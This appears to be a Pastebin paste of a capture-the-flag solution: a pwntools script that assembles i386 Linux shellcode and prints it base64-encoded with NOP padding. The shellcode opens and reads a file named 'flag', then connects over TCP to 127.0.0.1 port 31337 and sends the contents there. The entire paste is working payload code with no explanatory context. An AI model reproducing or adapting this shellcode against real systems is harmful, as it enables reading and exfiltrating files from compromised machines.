Guest User

Untitled

a guest
Jul 15th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from pwn import *
  3.  
  4. context(os='linux', arch='i386')
  5.  
  6. shellcode = '''
  7. // openat
  8. xor eax, eax
  9. push eax
  10. push 0x67616c66
  11. mov ebx, -100
  12. mov ecx, esp
  13. xor edx, edx
  14. xor esi, esi
  15. mov ax, 0x127
  16. int 0x80
  17.  
  18. // readv
  19. mov ebx, eax
  20. mov ax, 0x100
  21. push eax
  22. mov ecx, esp
  23. inc ecx
  24. inc ecx
  25. inc ecx
  26. inc ecx
  27. push ecx
  28. mov ecx, esp
  29. xor edx, edx
  30. inc edx
  31. xor eax, eax
  32. mov al, 0x91
  33. int 0x80
  34.  
  35.  
  36. // socket(2, 1, 6);
  37. xor eax, eax
  38. xor ebx, ebx
  39. xor ecx, ecx
  40. push ecx
  41. mov cl, 6
  42. push ecx
  43. mov cl, 1
  44. push ecx
  45. mov cl, 2
  46. push ecx
  47. mov ecx, esp
  48. mov bl, 1
  49. mov al, 102
  50. int 0x80
  51.  
  52. //connect(sock, sockaddr, 16)
  53. mov edx, eax
  54. xor eax, eax
  55. xor ecx, ecx
  56. push ecx
  57. push ecx
  58. push 0x0100007f // 127.0.0.1
  59. pushw 0x697a // 31337
  60. mov cl, 2
  61. pushw cx
  62. mov edi, esp
  63. mov bl, 16
  64. push ebx
  65. push edi
  66. push edx
  67. mov ecx, esp
  68. mov bl, 3
  69. mov al, 102
  70. int 0x80
  71.  
  72. // writev
  73. mov ebx, edx
  74. lea ecx, [esp+0x2c]
  75. xor eax, eax
  76. mov dl, 1
  77. mov al, 0x92
  78. int 0x80
  79. '''
  80. payload = asm(shellcode)
  81. payload = payload.ljust(0x100, '\x90')
  82. print payload.encode('base64')
Add Comment
Please, Sign In to add comment